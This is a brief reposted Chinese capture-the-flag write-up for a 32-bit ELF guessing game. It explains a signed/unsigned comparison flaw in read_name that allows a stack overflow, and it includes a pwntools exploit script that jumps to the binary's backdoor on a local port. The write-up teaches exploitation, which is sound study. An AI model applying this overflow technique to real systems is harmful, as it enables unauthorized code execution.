转载
- 首先程序是个比较简单的32位elf，是个猜数字游戏
- 漏洞点在read_name函数有个整数溢出，v2为有符号数，而for循环中i为无符号数，所以当有符号数与无符号数比较时，会将有符号数强制转换成无符号数，当输入-1时，v2在比较中就变成了最大的正数，因此可以栈溢出
- 程序正好有个后门，直接栈溢出执行后门即可得到flag
- exp
```
from pwn import *
context.log_level = 'debug'
#p = process('./f4n_pwn')
p = remote('127.0.0.1',9999)
p.recvuntil('length : ')
p.sendline('-1')
payload = 'a'*0x57 + p32(0x080486BB)
p.recvuntil('name : \n')
p.sendline(payload)
p.interactive()
```
页:
[1]